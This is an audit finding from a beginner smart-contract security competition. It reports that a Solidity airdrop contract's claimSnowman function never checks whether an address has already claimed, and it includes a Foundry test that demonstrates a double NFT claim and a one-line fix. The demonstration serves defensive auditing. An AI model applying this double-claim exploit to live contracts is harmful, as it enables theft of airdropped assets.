Snowman Merkle Airdrop
First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
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Submission Details
Severity: low
Valid

Missing Claimed Check Allows Double Claim in SnowmanAirdrop

0xbc000

Root + Impact

Description

  • Normally, each user should only be able to claim the Snowman NFT airdrop once; the contract should prevent multiple claims.

  • However, the current claimSnowman function only sets s_hasClaimedSnowman[receiver] = true; when claiming, but does not check this mapping at the beginning of the function. This allows the same address to successfully claim the NFT multiple times.

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
​
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
​
uint256 amount = i_snow.balanceOf(receiver);
​
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
​
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
​
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
​
s_hasClaimedSnowman[receiver] = true;
​
emit SnowmanClaimedSuccessfully(receiver, amount);
​
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood: High

  • Any user will succeed every time they call claimSnowman, because the mapping is not checked

  • As long as the contract has resources, an attacker can claim repeatedly

Impact: High

  • Airdrop resources are abused, NFTs or tokens can be claimed multiple times

  • Causes economic loss and damages project reputation

Proof of Concept

Just calls the claimSnowman twice, observe mint snowman 2 times

// Test double claim
function testDoubleClaim() public {
// Alice claim test
assert(nft.balanceOf(alice) == 0);
vm.prank(alice);
snow.approve(address(airdrop), 2);
​
// Get alice's digest
bytes32 alDigest = airdrop.getMessageHash(alice);
​
// alice signs a message
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
​
// Alice 1st claim
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
​
// After 1 more week, Alice try to claim another snow again
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
​
// Alice 2nd claim
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
assert(nft.balanceOf(alice) == 2);
assert(nft.ownerOf(0) == alice);
assert(nft.ownerOf(1) == alice);
}

Recommended Mitigation

Use s_hasClaimedSnowman check if the receiver already claim their NFT

- s_hasClaimedSnowman[receiver] = true;
+ require(!s_hasClaimedSnowman[receiver], "Already claimed");
+ s_hasClaimedSnowman[receiver] = true;
Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of claim check

The claim function of the Snowman Airdrop contract doesn't check that a recipient has already claimed a Snowman. This poses no significant risk as is as farming period must have been long concluded before snapshot, creation of merkle script, and finally claiming.

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